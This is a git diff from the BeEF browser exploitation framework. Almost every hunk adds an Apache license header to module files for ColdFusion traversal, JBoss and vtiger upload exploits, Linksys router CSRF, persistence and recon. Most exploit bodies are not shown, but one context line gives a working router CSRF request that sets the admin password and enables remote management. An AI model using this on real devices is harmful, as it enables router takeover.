License. +# class Replace_video < BeEF::Core::Command # diff --git a/modules/misc/rickroll/command.js b/modules/misc/rickroll/command.js index 384a025ba..3ba75b434 100644 --- a/modules/misc/rickroll/command.js +++ b/modules/misc/rickroll/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { $j('body').html(''); diff --git a/modules/misc/rickroll/config.yaml b/modules/misc/rickroll/config.yaml index 0a640e169..f3991ee45 100644 --- a/modules/misc/rickroll/config.yaml +++ b/modules/misc/rickroll/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: rickroll: diff --git a/modules/misc/rickroll/module.rb b/modules/misc/rickroll/module.rb index ff8eecf30..963ad4420 100644 --- a/modules/misc/rickroll/module.rb +++ b/modules/misc/rickroll/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Rickroll < BeEF::Core::Command # diff --git a/modules/network/coldfusion_dir_traversal_exploit/command.js b/modules/network/coldfusion_dir_traversal_exploit/command.js index 6ec2e9708..a770a6271 100644 --- a/modules/network/coldfusion_dir_traversal_exploit/command.js +++ b/modules/network/coldfusion_dir_traversal_exploit/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// /** * ColdFusion Directory Traversal Exploit (CVE-2010-2861) by antisnatchor . * Inject into the vulnerable "locale" parameter the classic payload of a directory traversal. diff --git a/modules/network/coldfusion_dir_traversal_exploit/config.yaml b/modules/network/coldfusion_dir_traversal_exploit/config.yaml index 1941f5d28..35ca6e7a8 100644 --- a/modules/network/coldfusion_dir_traversal_exploit/config.yaml +++ b/modules/network/coldfusion_dir_traversal_exploit/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: coldfusion_dir_traversal_exploit: diff --git a/modules/network/coldfusion_dir_traversal_exploit/module.rb b/modules/network/coldfusion_dir_traversal_exploit/module.rb index 0204a877e..f508d75fa 100644 --- a/modules/network/coldfusion_dir_traversal_exploit/module.rb +++ b/modules/network/coldfusion_dir_traversal_exploit/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Coldfusion_dir_traversal_exploit < BeEF::Core::Command # diff --git a/modules/network/detect_local_settings/command.js b/modules/network/detect_local_settings/command.js index 3608d13d9..fc57c4e2b 100644 --- a/modules/network/detect_local_settings/command.js +++ b/modules/network/detect_local_settings/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { var internal_ip = beef.net.local.getLocalAddress(); diff --git a/modules/network/detect_local_settings/config.yaml b/modules/network/detect_local_settings/config.yaml index 5a320b3ec..b11a1669d 100644 --- a/modules/network/detect_local_settings/config.yaml +++ b/modules/network/detect_local_settings/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: detect_local_settings: diff --git a/modules/network/detect_local_settings/module.rb b/modules/network/detect_local_settings/module.rb index 3b8dd3685..d06188175 100644 --- a/modules/network/detect_local_settings/module.rb +++ b/modules/network/detect_local_settings/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Detect_local_settings < BeEF::Core::Command def initialize diff --git a/modules/network/inter-protocol/config.yaml b/modules/network/inter-protocol/config.yaml index b0ea9617f..02e402532 100644 --- a/modules/network/inter-protocol/config.yaml +++ b/modules/network/inter-protocol/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: inter-protocol: diff --git a/modules/network/jboss_jmx_upload_exploit/command.js b/modules/network/jboss_jmx_upload_exploit/command.js index 74dc4cfa1..c0de8b897 100644 --- a/modules/network/jboss_jmx_upload_exploit/command.js +++ b/modules/network/jboss_jmx_upload_exploit/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// /** * Jboss 6.0.0M1 JMX Upload Exploit * Ported from l33tb0y Ruby code in Javascript by antisnatchor. diff --git a/modules/network/jboss_jmx_upload_exploit/config.yaml b/modules/network/jboss_jmx_upload_exploit/config.yaml index 7b51046fa..9d58b5f5b 100644 --- a/modules/network/jboss_jmx_upload_exploit/config.yaml +++ b/modules/network/jboss_jmx_upload_exploit/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: jboss_jmx_upload_exploit: diff --git a/modules/network/jboss_jmx_upload_exploit/module.rb b/modules/network/jboss_jmx_upload_exploit/module.rb index b99470937..8ee961e5f 100644 --- a/modules/network/jboss_jmx_upload_exploit/module.rb +++ b/modules/network/jboss_jmx_upload_exploit/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Jboss_jmx_upload_exploit < BeEF::Core::Command # diff --git a/modules/network/linksys_befsr41_csrf/command.js b/modules/network/linksys_befsr41_csrf/command.js index a43eac2bf..78a97f073 100644 --- a/modules/network/linksys_befsr41_csrf/command.js +++ b/modules/network/linksys_befsr41_csrf/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { var iframe = beef.dom.createInvisibleIframe(); iframe.setAttribute('src', '<%= @base %>Gozila.cgi?PasswdModify=1&sysPasswd=<%= @password %>&sysPasswdConfirm=<%= @password %>&Remote_Upgrade=1&Remote_Management=1&RemotePort=<%= @port %>&UPnP_Work=0'); diff --git a/modules/network/linksys_befsr41_csrf/config.yaml b/modules/network/linksys_befsr41_csrf/config.yaml index 4b07754af..0d778147b 100644 --- a/modules/network/linksys_befsr41_csrf/config.yaml +++ b/modules/network/linksys_befsr41_csrf/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: linksys_befsr41_csrf: diff --git a/modules/network/linksys_befsr41_csrf/module.rb b/modules/network/linksys_befsr41_csrf/module.rb index eba6d99f5..bca1d5df7 100644 --- a/modules/network/linksys_befsr41_csrf/module.rb +++ b/modules/network/linksys_befsr41_csrf/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Linksys_befsr41_csrf < BeEF::Core::Command # diff --git a/modules/network/linksys_wrt54g2_csrf/command.js b/modules/network/linksys_wrt54g2_csrf/command.js index 746f8076b..327739bbf 100644 --- a/modules/network/linksys_wrt54g2_csrf/command.js +++ b/modules/network/linksys_wrt54g2_csrf/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { var port = '<%= @port %>'; var gateway = '<%= @base %>'; diff --git a/modules/network/linksys_wrt54g2_csrf/config.yaml b/modules/network/linksys_wrt54g2_csrf/config.yaml index 9f1fd1aa2..e409371f4 100644 --- a/modules/network/linksys_wrt54g2_csrf/config.yaml +++ b/modules/network/linksys_wrt54g2_csrf/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: linksys_wrt54g2_csrf: diff --git a/modules/network/linksys_wrt54g2_csrf/module.rb b/modules/network/linksys_wrt54g2_csrf/module.rb index 6c2e9c34f..e58319bf6 100644 --- a/modules/network/linksys_wrt54g2_csrf/module.rb +++ b/modules/network/linksys_wrt54g2_csrf/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Linksys_wrt54g2_csrf < BeEF::Core::Command # diff --git a/modules/network/linksys_wrt54g_csrf/command.js b/modules/network/linksys_wrt54g_csrf/command.js index 2100fb4de..af5106294 100644 --- a/modules/network/linksys_wrt54g_csrf/command.js +++ b/modules/network/linksys_wrt54g_csrf/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { var port = '<%= @port %>'; var gateway = '<%= @base %>'; diff --git a/modules/network/linksys_wrt54g_csrf/config.yaml b/modules/network/linksys_wrt54g_csrf/config.yaml index 982457ced..d3188b923 100644 --- a/modules/network/linksys_wrt54g_csrf/config.yaml +++ b/modules/network/linksys_wrt54g_csrf/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: linksys_wrt54g_csrf: diff --git a/modules/network/linksys_wrt54g_csrf/module.rb b/modules/network/linksys_wrt54g_csrf/module.rb index eb382d827..50d8c86b9 100644 --- a/modules/network/linksys_wrt54g_csrf/module.rb +++ b/modules/network/linksys_wrt54g_csrf/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Linksys_wrt54g_csrf < BeEF::Core::Command # diff --git a/modules/network/vtiger_crm_upload_exploit/command.js b/modules/network/vtiger_crm_upload_exploit/command.js index 3cad71a87..7c42d292f 100644 --- a/modules/network/vtiger_crm_upload_exploit/command.js +++ b/modules/network/vtiger_crm_upload_exploit/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// // VtigerCRM <= 5.0.4 "chained exploitation" PoC // Hacked up for OWASP New Zealand Day, July 13th 2009 // diff --git a/modules/network/vtiger_crm_upload_exploit/config.yaml b/modules/network/vtiger_crm_upload_exploit/config.yaml index 4dbe58bc9..51922d1e8 100644 --- a/modules/network/vtiger_crm_upload_exploit/config.yaml +++ b/modules/network/vtiger_crm_upload_exploit/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: vtiger_crm_upload_exploit: diff --git a/modules/network/vtiger_crm_upload_exploit/module.rb b/modules/network/vtiger_crm_upload_exploit/module.rb index b61ca5902..99c86f962 100644 --- a/modules/network/vtiger_crm_upload_exploit/module.rb +++ b/modules/network/vtiger_crm_upload_exploit/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Vtiger_crm_upload_exploit < BeEF::Core::Command def initialize diff --git a/modules/persistence/iframe_above/command.js b/modules/persistence/iframe_above/command.js index 31529f070..b55187056 100644 --- a/modules/persistence/iframe_above/command.js +++ b/modules/persistence/iframe_above/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { beef.session.persistant(); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Links have been rewritten to spawn an iFrame.'); diff --git a/modules/persistence/iframe_above/config.yaml b/modules/persistence/iframe_above/config.yaml index b48bf13d1..58b0b65fb 100644 --- a/modules/persistence/iframe_above/config.yaml +++ b/modules/persistence/iframe_above/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: iframe_above: diff --git a/modules/persistence/iframe_above/module.rb b/modules/persistence/iframe_above/module.rb index a856169df..7310cbca8 100644 --- a/modules/persistence/iframe_above/module.rb +++ b/modules/persistence/iframe_above/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Iframe_above < BeEF::Core::Command # diff --git a/modules/persistence/popunder_window/command.js b/modules/persistence/popunder_window/command.js index 480b71760..ec4c64ccb 100644 --- a/modules/persistence/popunder_window/command.js +++ b/modules/persistence/popunder_window/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { var result="Pop-under window successfully created!"; diff --git a/modules/persistence/popunder_window/config.yaml b/modules/persistence/popunder_window/config.yaml index 216fb31bb..590c0ca7b 100644 --- a/modules/persistence/popunder_window/config.yaml +++ b/modules/persistence/popunder_window/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: popunder_window: diff --git a/modules/persistence/popunder_window/module.rb b/modules/persistence/popunder_window/module.rb index 2bced4e54..c63dd6fc8 100644 --- a/modules/persistence/popunder_window/module.rb +++ b/modules/persistence/popunder_window/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Popunder_window < BeEF::Core::Command # diff --git a/modules/recon/collect_links/command.js b/modules/recon/collect_links/command.js index 919a2a6f7..6b2e259e3 100644 --- a/modules/recon/collect_links/command.js +++ b/modules/recon/collect_links/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { beef.net.send("<%= @command_url %>", <%= @command_id %>, beef.dom.getLinks()); diff --git a/modules/recon/collect_links/config.yaml b/modules/recon/collect_links/config.yaml index e05457df4..bda9f70c1 100644 --- a/modules/recon/collect_links/config.yaml +++ b/modules/recon/collect_links/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: collect_links: diff --git a/modules/recon/collect_links/module.rb b/modules/recon/collect_links/module.rb index 3e73199e7..a26dc48ed 100644 --- a/modules/recon/collect_links/module.rb +++ b/modules/recon/collect_links/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Collect_links < BeEF::Core::Command def initialize diff --git a/modules/recon/detect_cookies_support/command.js b/modules/recon/detect_cookies_support/command.js index a85563b0e..a9384719a 100644 --- a/modules/recon/detect_cookies_support/command.js +++ b/modules/recon/detect_cookies_support/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { var sessionResult = beef.browser.cookie.hasSessionCookies("<%= @cookie %>"); diff --git a/modules/recon/detect_cookies_support/config.yaml b/modules/recon/detect_cookies_support/config.yaml index ebe4f7075..7e6da5ffa 100644 --- a/modules/recon/detect_cookies_support/config.yaml +++ b/modules/recon/detect_cookies_support/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: detect_cookies_support: diff --git a/modules/recon/detect_cookies_support/module.rb b/modules/recon/detect_cookies_support/module.rb index dc142ba68..c972c1c6b 100644 --- a/modules/recon/detect_cookies_support/module.rb +++ b/modules/recon/detect_cookies_support/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Detect_cookies_support < BeEF::Core::Command def initialize diff --git a/modules/recon/detect_soc_nets/command.js b/modules/recon/detect_soc_nets/command.js index 6e3b8889e..d99e692f2 100644 --- a/modules/recon/detect_soc_nets/command.js +++ b/modules/recon/detect_soc_nets/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { var facebookresult = ""; diff --git a/modules/recon/detect_soc_nets/config.yaml b/modules/recon/detect_soc_nets/config.yaml index 814893d9e..d476a6e7d 100644 --- a/modules/recon/detect_soc_nets/config.yaml 